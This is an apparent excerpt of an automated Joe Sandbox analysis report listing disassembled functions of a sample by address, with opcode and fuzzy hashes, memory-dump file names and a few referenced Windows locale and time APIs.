Instruction Fuzzy Hash: A372A278E002069FCF18EF68C891ABEB7B9EF45304F19416DDD4697345D631AE4ACBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D74C94 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00D74E2D

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: c5e67f27f58e807668fd41bfba33286d7bc35931b8042762a1107de513bd5d1b
Instruction ID: 6728e4b14dc3783fb3377130e8f4532f34b67a10e4d0db7e4ffd8bc2d76cc2f9
Opcode Fuzzy Hash: c5e67f27f58e807668fd41bfba33286d7bc35931b8042762a1107de513bd5d1b
Instruction Fuzzy Hash: 8DB1D570A0060A8BCB36CE68C4556BEB7B5FF41314F18851EE49AD7291E734DA41CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00D7487A Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

0, xrefs: 00D74A04

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 05206eb01700e287f4b4d3f868f1264d3cca09075b42347d9f5e0da6393ac761
Instruction ID: 39f1246f9abfdf8c76781c21ff8dc986769d0d2ae208427afe9f348442e5aa3b
Opcode Fuzzy Hash: 05206eb01700e287f4b4d3f868f1264d3cca09075b42347d9f5e0da6393ac761
Instruction Fuzzy Hash: F4B1C27090064A8BCB26CE68C451BBFB7B5EF44304F18861EE59AA7291E731DD41CF72

Uniqueness

Uniqueness Score: -1.00%

Function 00D750C0 Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

0, xrefs: 00D7524A

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 144685cb0a147f04597dc85e80a8885193fd9dc4e7224e7405f7a4a06d3b07f6
Instruction ID: cfdbe9b7a090d1b1f523754981d9207bd495905bb0774d8206410b1eef5862b6
Opcode Fuzzy Hash: 144685cb0a147f04597dc85e80a8885193fd9dc4e7224e7405f7a4a06d3b07f6
Instruction Fuzzy Hash: 9FB10670900F4A9BCB24CF68E4517BEB7A1EF05300F58861AD89A97299E7B0D941CB77

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B42A Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00D9B598,00000001), ref: 00D9B49C

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 41d47446b2eae66a83b6e273cc7cc3fcf2bfee2a51137f8ec5e8a55e03464a95
Instruction ID: 3e1f6724c4a2544c2ac7a02f59cfea6efaf844fb2f1a8821ed699bf5abaf7430
Opcode Fuzzy Hash: 41d47446b2eae66a83b6e273cc7cc3fcf2bfee2a51137f8ec5e8a55e03464a95
Instruction Fuzzy Hash: 3511293A2003059FDF189F39D9916BAB791FF80768B1A442DE94687641D771B902DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00D9BB39 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00D9B7B4,00000000,00000000,?), ref: 00D9BB65

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 431f3c11ef3f116a4fa1f5f3eaec0d8736bc7c3f510ba695b8863a93172010ac
Instruction ID: 1f532a67d27a3f60afac4d9414edbc8725dbca7c66b6d5f97f720a0c02c62062
Opcode Fuzzy Hash: 431f3c11ef3f116a4fa1f5f3eaec0d8736bc7c3f510ba695b8863a93172010ac
Instruction Fuzzy Hash: 49F0A936A00115ABDF245765D906BBA7798DB40778F1A042AED45A31C4DB74FD41C6B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B4EB Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00D9B87F,00000001), ref: 00D9B535

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: b5a35eef292efcc42e78b768b5933cc3a81e8cfd2a5bfda46fa83ff5e9848d28
Instruction ID: 227a14b05fb2d3f3bf29f1767e1a15636106afcb69e83131298644b07c23f471
Opcode Fuzzy Hash: b5a35eef292efcc42e78b768b5933cc3a81e8cfd2a5bfda46fa83ff5e9848d28
Instruction Fuzzy Hash: 8BF0F6763003045FDF246F35A881A7A7B95FF80778F0B442EF9458B690D771AC02C620

Uniqueness

Uniqueness Score: -1.00%

Function 00D89F1F Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(Function_00089F09,00000001,00DC6140,0000000C), ref: 00D89F57

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 0ab8638f529d5a04bb8e239544e969bd74b9e315f387ed00d101e09f21561523
Instruction ID: 0d8524f99ce40f3848046c4d4eb8c2ea32955f247b1deae9d98b7d21f7dfa9d7
Opcode Fuzzy Hash: 0ab8638f529d5a04bb8e239544e969bd74b9e315f387ed00d101e09f21561523
Instruction Fuzzy Hash: 6DF04936A01200DFE718EFA9E946BAD77F1EB04721F04416AF515EB2E0DBB59906CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D3DC1F Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002), ref: 00D3DC38

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 64dce9773115cc38ea86779d06d56995c5f3ff20c8961b071c99637d3c6eca8f
Instruction ID: 3d51505e2a18bb58e208d34e85616ed58b36787a5e4ff3c6862c5c9ab53cd236
Opcode Fuzzy Hash: 64dce9773115cc38ea86779d06d56995c5f3ff20c8961b071c99637d3c6eca8f
Instruction Fuzzy Hash: 38E0D873270204B6D7158BBDAD0FF6A779ED708709F044641F203E51C1DAE4CA00E671

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B3A8 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00D9B2D8,00000001), ref: 00D9B3DF

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: d2c753df84b5f6ecd8a7ed9b0ca1d97ec7ba4ce80aa2b101cf14a3f30ce0fa9b
Instruction ID: 96ea86c5eb74a828857b314afc434499213c2bfa6535d9c46c7053ab7598384e
Opcode Fuzzy Hash: d2c753df84b5f6ecd8a7ed9b0ca1d97ec7ba4ce80aa2b101cf14a3f30ce0fa9b
Instruction Fuzzy Hash: ABF0E53A3002155BCF14AF7AE945A7E7F94EFC1720F0B405AFA098B291C771A842C770

Uniqueness

Uniqueness Score: -1.00%

Function 00D8AC69 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,?,?), ref: 00D8AC9D

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 99300686fe74baf5e3208453e0cc7a875dcfc0ff74b330d10dd9c576e51d540a
Instruction ID: 11b0842efd3b6f6d66864820bcae98a798dde9f4884217a3d3368d674b89ea44
Opcode Fuzzy Hash: 99300686fe74baf5e3208453e0cc7a875dcfc0ff74b330d10dd9c576e51d540a
Instruction Fuzzy Hash: B9E04F35505228BBDF223F65DC05FAE7F1AEF44760F044011FC4966261CB719D21ABB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D8A10E Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(Function_00089F09,00000001), ref: 00D8A128

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 763874ab8d743f17b727c6a99bc5235bfaadf6830925a5df77627ce8c37babd6
Instruction ID: 562e8be002a6d792c9ba8579169ee8ede409fe775c067fcc76880161d93d35be
Opcode Fuzzy Hash: 763874ab8d743f17b727c6a99bc5235bfaadf6830925a5df77627ce8c37babd6
Instruction Fuzzy Hash: 89D0A731506704AFE72C5F53FD0B9153BAAE740310B040025F4095A2B0EBB26457CA10

Uniqueness

Uniqueness Score: -1.00%

Function 00D8ACB7 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00D8ACBD, 00D8ACC7

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: GetSystemTimePreciseAsFileTime
API String ID: 0-595813830
Opcode ID: c150f606619231f16b637dad47ca44d28a43fd777334c3ea57a350506c15ab14
Instruction ID: 8431c7de28d5597a4c6ed0ae56467692b890f83124c3a801bb92abbfab483bfd
Opcode Fuzzy Hash: c150f606619231f16b637dad47ca44d28a43fd777334c3ea57a350506c15ab14
Instruction Fuzzy Hash: 38E0C2326C1328FF82203786AD06EDDBF99D740BB2B080022FB49A7140E5A10C15C3F5

Uniqueness

Uniqueness Score: -1.00%

Function 00DFC9C8 Relevance: .7, Instructions: 679COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53dc1b23a483c69a5e118a122658e34189c20b54ed2d474e9ee3d3aaf57dfb7d
Instruction ID: 28109f92e4e2880b775c66a49a087324bde99dffb1cf8de79aede937f04933a2
Opcode Fuzzy Hash: 53dc1b23a483c69a5e118a122658e34189c20b54ed2d474e9ee3d3aaf57dfb7d
Instruction Fuzzy Hash: 0A32AE702183498BD714CF18C990B6EBBE2FF85314F198A2CE6D18B391D775D949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D9A967 Relevance: .6, Instructions: 558COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
